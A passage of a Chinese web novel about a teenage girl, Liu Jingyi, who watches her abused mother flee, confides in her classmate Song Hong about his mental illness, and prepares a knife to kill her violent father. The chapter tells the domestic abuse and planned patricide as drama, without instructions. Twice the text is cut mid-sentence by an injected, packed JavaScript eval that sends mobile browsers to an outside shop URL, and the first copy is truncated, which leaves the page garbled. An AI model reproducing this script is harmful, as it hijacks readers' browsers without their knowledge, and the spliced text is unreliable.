比起来想哭,柳静仪更多感受到的,是开心。 是扑面而来的放松。 她又一次觉得,阳光是暖的。 又过了许久,旁边轻轻覆上来一个影子,一只被卷起来的风筝递到了柳静仪眼前。 在家里怎样都找不到的东西凭空出现在了学校。 柳静仪瞳孔一震,她猛地侧过头去。 宋泓眨眨眼睛,温声说:“有人让把这个转交给你。” “你哪来的?” 宋泓站在她身旁,说:“门口一个女人让我给你的,她说是你妈妈,还说你看了就知道了。” 尤婉心去而复返,柳静仪牙关发颤,问:“她在哪?” “北门。” 话音未落,柳静仪就冲出去。 眨眼间就消失在了视线范围之内。 宋泓从来没见柳静仪这么着急过,一时间有些愣住。 连镶从一旁走过来说:“还真是啊?但她和柳静仪一点也不像啊。” 话落,他又摆摆手,说:“哎不管了,反正任务也完成了,我去篮球馆打球了啊。” 宋泓点点头,在柳静仪匆匆离开的背影里若有所思。 他今天也没有回家。 兰园距离学校很远,他不想一天到晚总在路上。 连镶吃腻了食堂,两人便去了校外的小吃街。 却不想在学校门口,遇见了一个神色慌张的奇怪女人,还自称是柳静仪的妈妈。 两人长的确实不像—— 宋泓皱了皱眉头。 他觉得比起来尤婉心,柳静仪更像……杨晴——可是怎么会? 宋泓想不通,顺势在河边席地坐下。 眨眼的功夫,柳静仪就冲到了北门,可眼前空空如也,哪里有尤婉心的踪影? 柳静仪在北门四处张望,全然失了沉稳,门口的保安见她急得要哭,关切的上前:“怎么了孩子?” 柳静仪急道:“您有没有看见我妈妈?大约一米七的身高,很瘦,皮肤很白,黑色头发——” 保安在她的描述里想了想,说:“是不是鼻尖有颗痣,小拇指有点弯,但很有气质?” 柳静仪疯狂点头,她对着保安问:“她在哪?” 保安说:“她走了。” 柳静仪脚步踉跄,双眼通红。 保安想了想,又细说:“应该刚走没多久,现在追的话,还能追得上。” 眼泪落下,她看着保安,泪眼朦胧的问:“她走的很着急吗?” 保安点点头,说:“挺急的,我一转头,人就没了。” 阳光普照,柳静仪含泪点了点头。 她后退一步,对着保安说:“谢谢您,我知道了。” 耳边忽然传来一个熟悉的声音:“柳静仪——” 柳静仪抬眼,傅无双在路对面,打开车门下车,远远地挥手叫她。 她始终记得自己对柳静仪的承诺。北京大案结束后,傅无双第一时间向警局告假,她买不到高铁票,就从北京怒踩数千公里,连夜开车,赶来西琅。 曾经的希望去而复返,可柳静仪却没来由地觉得荒唐。 她站在原地,双眼通红地看向傅无双。 傅无双匆匆朝她奔来,柳静仪没动,可她却被身后的人扯着胳膊拉了回去。 一辆大卡车在眼前呼啸而过,隔开她们之间的距离。 十字路口绿灯通行,宽阔的马路上车流不断。柳静仪就站在路对面,看着命运明目张胆的戏弄她。 同伴胆战心惊地对傅无双怒斥:“看车啊,你他妈不要命了啊?!” 傅无双一个踉跄,站定后却第一时间向柳静仪望去。 柳静仪轻轻后退一步,笑了。 傅无双没来由一阵心慌。明明只有咫尺,傅无双却觉得她和柳静仪之间,隔着万水千山。 傅无双回来了。 可是已经晚了。 尤婉心已经走了,她现在孑然一身,不需要任何人的帮助了。 柳静仪转身,大步流星的回去校园。 身后,傅无双的声音忽然大了起来:“柳静仪!柳静仪你站住!柳静仪!” “车,傅无双,看车——他妈的你发什么疯?” 保安在呼唤里也问:“哎小姑娘,你不去追你妈妈了吗?” 耳边呼唤、争吵、疑问乱作一团,柳静仪却越走越快。 她在寒风里想,不了。 不去追了。 只要尤婉心能幸福,就好了。 眼泪无声落下。 只要尤婉心能够逃离,就够了。 她在一阵悲痛中停下,再抬眼,宋泓坐在湖边。 14. 疯子 柳静仪擦干眼泪,缓缓上前。 流水声里,宋泓侧过头来,柳静仪停在他身后,又破天荒的在他身边坐下。 两人并肩,宋泓目光灼灼,柳静仪呼吸乱了一拍,却又努力的维持原状。 柳树枯枝自身后摇摆,宋泓忽而出声,低低叫她:“柳静仪。” 柳静仪侧过头,眼泪朦胧,宋泓也变得一片模糊,耳边的声音却格外清晰,“你今天不躲我了吗?” …… 眼泪不受控制的落下,柳静仪以一种异常直观的方式感受到了自己过去的残忍。 原来,他都能感受到。 心忽然变得很痛,大风吹起来她努力隐藏的悲伤,她不想回答,只想轻描淡写的揭过,可宋泓却不。他转过头来,温声问她:“你为什么哭了?” 豆大的泪珠接连落下,柳静仪顺着他的话,伸手,在自己的脸上摸到了水渍。 她没回答,宋泓又问:“是发生什么了吗?” 柳静仪握着手里的风筝,在宋泓接连关切的话里,忽而就泣不成声。 这张风筝在柳静仪房间里挂了十年,而她和尤婉心的母女情份,也已整整十年。 而今她视若珍宝的风筝去而复返,她最爱的人离开泥潭飞向天边,柳静仪要怎么说宋泓才能相信,其实她现在很开心。 柳静仪含泪抬眼,宋泓满脸担忧,流水泠泠作响,有那么一瞬间柳静仪想,她是想要和宋泓倾诉的。但也就只有一瞬。风一吹,柳静仪的思绪紧接着回笼。 往日生活晦暗交加,柳静仪不希望任何人知道那些过去。 她伸手擦干眼泪,又摇摇头,在宋泓的注视里,展开手里的风筝。 那风筝已经很旧了,表面的布料斑驳,竹子做的龙骨也已经陈化,款式落后,却依稀能辨认出来是个燕子,春三月风寒,柳静仪看着那风筝,忍住哽咽,轻声道: “不知道你小的时候有没有什么喜欢的东西,我小的时候,特别喜欢放风筝。” 宋泓静静的看着她,柳静仪说:“就在镜湖旁,那片绿草地上。万物复苏的时候,大家总是会出来踏青,我妈妈也会带我去,她牵着我的手,笑着叫我的名字。” 眼前湖面仿若水镜,映出来过去。 “静仪——快来呀” 年幼的柳静仪局促的站在后面,尤婉心一袭连衣裙,风吹起来她的发丝和花裙摆,她牵着风筝线转身,含笑对她招手: “快过来静仪,风来了,燕子要飞走啦。” 柳静仪在斑斓的湖水里含泪,说: “她叫我静仪,对我招手,春回大地,而我感受到了我曾艳羡的幸福——静仪——瓌姿艳逸,仪静体闲。后来听说,她找了一个月,反复对比诗赋经文,才为我取了这个名字。” 画面随着柳静仪的描述在宋泓眼前徐徐铺开,他却敏锐的窥见那些岁月静好下面暗藏着的悲伤。宋泓低低叫她:“柳静仪——” 柳静仪转过头,红着眼睛问他:“宋泓,你觉得,她爱我吗?” 这是柳静仪第一次叫出来他的名字。 宋泓在那阵奇异的心跳里努力保持平静,他点点头,认真地说: “当然。” 话落,又觉得这个回答太轻了,宋泓对着柳静仪笃定道: “她爱你的。不然的话,又怎么可能为你取这么用心的名字呢?” 柳静仪声音闷闷的,说:“我也觉得。” 十年过去了,纵使当初的幸福分崩离析,柳建明和尤婉心相继性情大变,但柳静仪依然觉得,尤婉心是爱她的。 不爱也没关系。 她爱尤婉心就好了。 手里的风筝在春风里翻飞作响,柳静仪看着那截断线,笑了。 她可以为了尤婉心多年隐忍,当然也会为了尤婉心,做出来惊天动地的决定。 眼里情绪难以捉摸,明明灭灭,最后都沉寂于一缕清风。 湖影波光里,柳静仪万分不舍地收起来那张风筝,又在柔和温暖的阳光里,侧过头,认真的对宋泓说:“昨天中午,我听见了你的话。” 埋藏在时光多年的往事在此刻微微掀开一角,宋泓却意料之中的淡定,他轻轻的眨了眨眼睛,说:“我知道。” “我想知道,你为什么会那样问?” 宋泓眨眨眼睛,问:“一定要知道吗?” 柳静仪没说话。 其实是可以忽略的,但今天过后,她可能就再也见不到宋泓了。 宋泓察觉到她的欲言又止,也不再推脱: “因为我不确定那是真的,还是我的幻想。” …… 柳静仪难得愣了一下:“什么意思?” 宋泓在她的目光里如实坦白:“我有精神障碍。” …… 柳静仪瞳孔微微放大。 人生里最大的秘密就这样被他轻描淡写的全然托出,宋泓居然感觉到了一丝解脱。 风吹来,他笑,声音有些飘渺,又似惆怅: “柳静仪,虽然真的很不想承认,但事实就是,我有精神病。” 他转过头来,脸上是化不开的苦笑: “我是个疯子呢。” 四下沉寂,只有微风抚过,流水作响。 宋泓原本预想的震惊并未出现,柳静仪既没有逃离,也没有任何的怜悯。 她只是接受了这件事情,然后侧过头来,以一种不以为然的语气,对着宋泓说: “然后呢?” 宋泓对柳静仪认真道:“然后,你要离我远一点。” “理由是?” “因为,我不想你再像上次那样受伤了。” 因为病情,宋泓会隔三岔五的请假飞去国外治疗,也因为柳静仪的保密工作做得很好,事到如今,宋泓都天真的以为之前柳静仪手上的淤青是他造成的。 微风里,柳静仪淡淡一笑:“那又怎么样呢?” 宋泓说:“你不害怕吗?” 柳静仪在宋泓低声忐忑的话里摇了摇头。她看向宋泓,声音笃定道:“并不。” 别说宋泓从来都没有伤害过柳静仪,就算有,柳静仪也不会放在心上。 因为生病不是人为可以控制的,宋泓假想的那些,都是无心之失,非他本意。 是可以原谅的。 眼前风和日丽,湖面荡起波纹,宋泓心里忽然莫名的难过: “可是万一我控制不住自己,发病伤到你怎么办?” 柳静仪摇摇头,看着他说:“你不会的,宋泓。” 宋泓在这句话里捂住眼睛,柳静仪却忽然笑了。 她并不觉得宋泓有精神障碍,哪怕他真的是一个疯子,柳静仪也不会害怕他。 有时候,疯子比正常人要好得多。 最起码不会想着怎么害人。 “大礼堂里,你只是撞了我一下,就耿耿于怀好多天,追着我道歉。会把这样无关紧要的小事放在心里的人,是不会去伤害其他人的。宋泓——” 柳静仪的话随着风轻轻的飘来,宋泓在她冷若清泉的声音里抬眼,年轻女孩眼含波光,神色认真,“——你要相信自己。” 湖边柳树生出来新绿,生机盎然。 明明一片欣欣向荣,可宋泓却在这充满鼓励的话里,敏锐的察觉到了不对。 她破天荒的坐在宋泓身边,又一改常态的说了很多的话。 这不像柳静仪。 宋泓也不觉得这反常是因为柳静仪被他打动。 她的神态,她的所作所为,更像是无声告别。 他不由得叫她:“柳静仪……” 她侧过头来,鼻尖红红的,低声回应道:“嗯?” 宋泓问:“你怎么了?” “什么?” 宋泓说:“我说不上来,但你,好像很不开心…” 又好像不能用开心来形容,此刻坐在身边的人情绪太复杂了,宋泓找不到一个合适的形容词去描述她的状态。 柳静仪在这句话里收起来所有的惆怅,也承认过去她时刻躲着宋泓的原因。 除了一见钟情之外,更因为眼前的这个人,能读懂她。 柳静仪轻声叫他:“宋泓。” 宋泓抬起眼:“嗯?” 她笑笑,在风里侧过眼去,说:“其实之前你撞我的事情,我没有原谅你。” 宋泓也跟着她笑了:“那我怎么做,你才原谅我?” 柳静仪认真的想了想,说:“你再和我道个歉吧,和我道个歉,我就原谅你。” 再道歉,这件事情就此揭过,从此以后,再不相干。 宋泓点点头,说:“对不起。” 微风吹过,柳静仪红着眼睛笑,宋泓看着她,一字一句的重复: “对不起,柳静仪,对不起。” “没关系。” 话音落下,最后的执念也画上了句号。 柳静仪握着那张风筝起身,身后刺眼的阳光让宋泓看不清楚她的表情。 宋泓啊,从今往后,你我之间,一笔勾销了。 祝你早日战胜病魔。 往后余生,一切都好。 柳静仪冲着他笑了笑,拿着那张风筝径直的走向了教学楼。 宋泓随即起身,冲着她喊道:“柳静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬起眼,对着柳静仪说:“你真的不告诉我吗?” 柳静仪眨了眨眼,她抬起头,看向宋泓身侧的路灯。 昏黄的灯光把他的影子拉的无限长,柳静仪抿了抿唇,忽地侧头看向校门。 宋泓随之转头,视线里,宋承德和宜兰相携而立。 柳静仪最终选择了闭嘴。 就让往事随风吧。 她垂下眼睛,径直走向校门,却在大门口转弯的时候忽然听见一声呼唤: “柳静仪——” 傅无双和调解员相继发现了她,两拨人在离她咫尺的地方快步上前。 柳静仪回头,风吹起来她耳边的发丝,傅问隔着距离,在昏暗的天色,完整的看清楚了她的脸。 眼前的一切忽然成了慢动作。 这个年轻的女孩,有着和杨晴一模一样的五官。 傅问的耳边又想起来了傅无双的话: “夫妻俩在孤儿院领养了个小孩,养了十年——” “孤儿院-领养——” 傅问意识到什么,猛地抬起头。 柳静仪在看清楚来人后回过头去,冷漠的加快了脚步。 傅无双追了上来,紧紧的拽住她的胳膊:“你跑什么??” 柳静仪不察,被按到了伤口,倒抽一口凉气。 傅无双直觉不好,拉着她的手一把撸起她的袖子——各种颜色的淤青错落交加,有些甚至泛着诡异的紫——傅无双脸色铁青,从喉咙里挤出来的话带着颤抖: “那个疯子又打你了?” 来来往往的人投来注视,柳静仪一把甩开她的手,面色不虞地拉下袖子。 回访员慢一步赶到,两个年轻女性走到柳静仪身边,其中一个翻开资料,对着她道:“柳静仪是吗?我们是西琅妇联的,现在是来对您之前的投诉进行一个回访——” 话音未落,柳静仪转身就走。 两个回访员没想过她这么不配合,当场傻眼,傅无双反应迅速,跟着她上前: “静仪——” “够了!!!” 几人被她这突如其来的情绪震住,面面相觑。 柳静仪猛地停住脚步,转身对着她们冷声道:“不要再跟着我了,也别来问我!” 昏暗天色里,她苍凉一笑,“反正我说什么,都没有用,不是吗?” 15. 女儿情 柳静仪失魂落魄的走进熟悉的小巷时,天已经黑好了。 廉价的彩灯刺眼的亮着,性格泼辣又有些不讲道理的老板娘依然站在门口招揽顾客。 尤婉心两天不曾露面,柳建明又在旁人的玩笑话里暴跳如雷,小巷已经起来了流言,说她离家出逃了。 前来吃饭的食客见到路过的柳静仪,怜悯的脸上又有着一双八卦的眼睛闪着精光。 柳静仪疲惫的向前,老板娘居高临下的打量了她一下,目光触及到衣袖的时候,忽然一凛,老板娘一个激灵,大嗓门叫住了她:“喂!” 柳静仪一顿。 保不齐又是前来要柳建明欠下的酒钱的。 她现在身无分文,自身难保,哪里还有顾着柳建明的功夫? 柳静仪像没听见一般继续往前走。 老板娘皱了皱眉,扯着嗓门道:“柳静仪!” 柳静仪掐住手心,攥紧了袖子,里面的水果刀贴在皮肤上,生出来一股惊人的热意。 她本想加快脚步躲过去,却没想到素来忙着赚钱的老板娘像吃错药一般,对她不依不饶。 饱经风霜的中年妇女把手里的抹布一丢,老板看着她大步追上前的背影,无奈的叹了口气,老板娘三两步走到柳静仪身后,伸手扯住了她的书包: “死丫头,叫你没听见吗?” 柳静仪闭了闭眼,忍住心下的烦躁,转过身看她:“无论柳建明欠你多少钱,我都没有——” “没有??那怎么行?天下没有做赔本的买卖的呀!” 她大声叫了起来,扯着柳静仪往旁边僻静的地方拖,边拖边往后瞥,又在看好戏的目光中加重声音:“你这死丫头——” 柳静仪脚步踉跄,被她大力的扯着走入偏巷,她猛地甩开老板娘的手,刚要破罐破摔,就见眼前满脸凶煞的人换了幅样子,她一把捂住柳静仪的嘴:“嘘——” 柳静仪微微瞪大了眼,老板娘低斥道:“小点声!!” 柳静仪配合的点了点头。 老板娘放开她,又小心翼翼的向外看了两眼,见巷外没人,这才拉着柳静仪侧过身去。她瞅瞅柳静仪,叹了口气,偷偷摸摸的拉开衣服,从内兜里拿出来一沓卷起来的钱拍在柳静仪手里,没好气道:“给你。” 又拉起她另一只手,一把从她手里夺过来那把水果刀,语气凶恶:“这个给我!” 柳静仪看着那钱,不可置信的抬起眼,“什么意思?” 老板娘叹了口气,颇有些烦躁:“这钱是你老师之前找我打听你情况的时候给的,本想自己昧下来,谁曾想你老妈走了…你拿着自己花,不要让你那个爹知道,听见了吗?” 柳静仪抿了抿唇,想起来了梅山忽然出现的那个雪天。 天色如墨,她又看向老板娘手里的水果刀,声音颤抖:“你怎么知道…” 尖利的刀锋上倒映出来老板娘的目光,她伸手,像戳自家儿子一样,使劲儿戳了一下柳静仪的头:“死丫头,你搬来这个胡同八年,我是看着你长大的呀!还能不清楚你想什么?” 柳静仪在这话里有所触动,老板娘泼辣的伪装也卸了下来,她叹了口气,伸出手来,一下又一下的抚摸着柳静仪的头,“好孩子,不要做傻事。” 柳静仪的眼泪在这句话里落了下来。 甩开傅无双一行人后,她绕路去了很远的超市,在那里买了一把锋利的刀。 尤婉心走了,她会不会幸福,柳静仪不知道。 但她知道,只要柳建明活着,就是个隐患,她绝对不能让尤婉心有后顾之忧。 弑父,是柳静仪能为尤婉心做的最后一件事。 柳静仪做好了今晚和柳建明一起玉石俱焚的准备,却没想到还没见到柳建明,先被老板娘拦了下来。 瘦弱的影子几许摇晃,路灯下,老板娘也红了眼睛,她对着柳静仪语重心长地说: “静仪——好孩子!你的人生还长着呢,可不能做傻事。” 刀被夺走,人也被老板娘拉着走出小巷,外面依旧是热闹天地,老板娘刚上小学的儿子正坐在塑料板凳上,凑在桌子前低头吃饭。柳静仪被老板娘按在餐桌旁,夫妻二人对视一眼,老板默不作声的端上来一碗面,放到柳静仪眼前。 柳静仪无声抬头,老板娘在她含泪的眼睛里把那面往前推了推:“要是我没记错的,今天是你的生日,我们生意忙,也没什么时间做好吃的给你,就这一碗面…吃吧,好孩子,吃了长寿面,快回家好好学习。” “老板娘—整俩菜,再上瓶酒——” 身后传来粗犷的声音,老板娘拿起抹布,站起身来,脸上又挂上了市侩的笑容: “哎来啦——” 她匆匆转身,老板站在灶台前,在大火里颠勺,汗流不止,埋头认真吃饭的小孩填饱了肚子,终于肯抬起眼来,喘口气的间隙,却见对面一动不动,“姐姐——” 小男孩那双稚嫩的眼睛里写满疑惑,他看着柳静仪,嫩声嫩气的问道:“你怎么哭啦?” 柳静仪不知道自己是怀着什么样的心情离开的。 推开家门,里面漆黑一片,柳静仪敛下眼睛,带上门,没什么表情的往里走。 柳建明出去花天酒地,她也落得清净。 柳静仪进房间后,反手上了锁。 她把自己连着书包一起丢在床上,灯光刺眼,柳静仪皱着眉头忍住心头的五味杂陈。 老板娘的话在她耳边反复响起。 “好孩子,千万不要做傻事。” 彻夜未眠,这一天又消耗了无数心力,柳静仪头痛欲裂。 她在明晃晃的灯光里睁开眼睛,坐起来,看向了桌面上的那个手机。 柳静仪没什么表情的盯着那个手机,许久后,她才缓慢挪动酸痛的身体,坐在书桌前。 打开手机,却没有任何反应,看起来已经亏电关机了。 充电器静静的躺在一边,柳静仪眨了眨眼睛,漆黑的屏幕上倒映出来她平静的神色。 临出门前,她删掉了短信。 但柳静仪不确定当时,她有没有给手机充上电。 柳静仪看着那充电器,视线越来越沉。 如果充上了,那手机为什么没电? 可是如果没有充上,那她放在抽屉里的充电器,为什么会忽然出现在桌面? 两个念头来回交织,她接上插口,手机嗡的一声震动,亮了起来。 这一年,科技高速发展,智能机已经很流畅了。 开机迅速,检查手机,也很快就能完成。 两分钟后,柳静仪放下空空如也的手机,窗外风声呼啸,她在漆黑的夜色里,起身去厨房摸了一把刀。 哪怕手机里的短信删掉,一切都没有异常,但柳静仪还是不敢赌。 离家出逃,被柳建明发现的后果不敢想象。 是以旁人如何告诫,都是白费,任凭谁来,柳静仪都不能拿尤婉心的生命做赌注。 她输不起。 也正因如此,柳建明必死无疑。 一切准备就绪,柳静仪坐在客厅里,拨通了柳建明的电话。 “嘟——嘟——嘟——” 时间在这刹那变得格外漫长,柳静仪垂下眼睛,看着通话界面。 “嘟——嘟——” 客厅的时针传来滴答声。 “嘟——” “喂?” 电话终于通了,那边似乎在忙,柳建明拿着手机没好气道:“谁啊!” 柳静仪眨了眨眼,说:“是我,爸爸。” 她没什么表情,语气一如平常:“现在很晚了,你什么时候回家?” 柳建明看了看手机,狐疑道:“柳静仪?” 这死丫头怎么这么反常,居然开始关心他了? 但这疑惑也只是霎那,柳建明此刻火气正大,连带着自然也说不出什么好听的话:“你管那么多干什么?忙着呢,没事别给我打电话!挂了——” 柳静仪听着电话的忙音,轻轻的放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179087|196928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下手机。 她缓缓的抬眼,径直看向客厅里挂着的钟。 问不出来,那就等。 长夜漫漫,只要柳建明回来,丧钟就为他而鸣。 昨天在房间枯坐一夜,今天又在客厅里坐了一晚。 同样都是等待,但风吹草动中,那种等待的心情却截然不同。 斗转参横,不知不觉间,小巷里又起来了炊烟。 柳静仪在早春的露珠里闭上眼睛。 柳建明彻夜未归,但也并不意味着他能逃过一劫。 柳静仪站起身来,在眩晕里踉跄着脚步,把刀放回厨房。 送他归西,不就是时间早晚的事? 柳静仪有的是耐心。 她可以等。 早上八点,柳静仪背着空空荡荡的书包,踏出小巷。 路边公交站牌前人满为患,非机动车道上稀稀拉拉停了几辆车。 这个时间恰好赶上西琅的早高峰,上班的,上学的,嬉戏打闹,埋头赶路的,比比皆是,人流不息,车水马龙,简直热闹极了。 柳静仪疲倦的收回视线,孤身走在人流里,迎面走来一个人,举着电话,步履匆匆地朝她走来。 柳静仪不察,不小心被撞到肩膀,她吃痛皱眉,抬眼,一个俊美端方,衣着有度的中年男人赶忙伸手,着急的扶住她。 傅问眼疾手快的把她肩头的发丝攥紧手里,又拿手机掩上。 他语气紧张:“没事吧孩子?” 又耐心解释:“对不住啊,打电话一时没注意,撞到你了,真是抱歉。” 柳静仪抚开他,拉开和他的距离,冷淡道:“没事。” 她看了傅问一眼,没什么表情的收回视线,准备继续赶路。 傅问好不容易制造的偶遇机会显然就要消逝,他下意识道:“那个——” 柳静仪顿住脚步,抬眼看他。 傅问却顿住了。 眼前的女生有着和杨晴一模一样的五官,一样的神态,一样的表情。 说巧合,他不相信。 柳静仪静静的看着他,傅问回神,很快问道: “小姑娘,你们这里的修车行在哪,你知道吗?” 柳静仪不语,傅问指指她身后,柳静仪随着他的动作回头,一辆轮胎瘪掉的宾利静静的停在不远处。傅问的声音里满是无奈:“我着急去办事,却没想到车子走到这附近爆胎了,刚刚无意瞥见你从巷子里出来,想来一定是附近的人。小姑娘,你有注意到这附近的修车行吗?” 路边的出租车开始鸣笛,傅问满眼期待,柳静仪眨了眨眼睛,毫无征兆的开始报电话:“156****7898——章俭” 傅问有些愣住,却很快回过神来,记下那个号码,他不可置信的看向柳静仪,问:“你……都记得吗?” 柳静仪却忽视他的惊讶,冷静的丢下一句“打不通可以多打两遍。”,转身走了。 像。 路边柳树枝桠乱飞,傅问在身后看着她的背影,又看向手机下藏着的那一根头发,久久不能回神。 简直太像了。 今天章俭接了个大单子,走不开身,于是接孩子的人换成了姚桃。 姚桃接到章奕的时候,已经是下午五点了,小孩子吵着要吃城西那家的烤冷面,姚桃向来宠她,牵着她就往城西走。 小摊前热闹非凡,章奕坐在长椅上,捧着排了半个小时的烤冷面吃的不亦乐乎。 姚桃笑着看她,伸手为她别上额前的碎发。 章奕嘴角沾了酱料,看看姚桃,吃着烤冷面摇头晃脑。 春三月的风在这一瞬间变得温柔,章奕却忽然眼睛一亮,指着前方叫道:“静仪姐姐——” 姚桃笑:“你认错啦!静仪姐姐在学校呢,这是城西,怎么可能——” 她顺着章奕转过头去,柳静仪正把新买的水果刀放在书包里。 两人隔着距离四目相对,姚桃收起嘴角的笑容,缓缓地站起身来。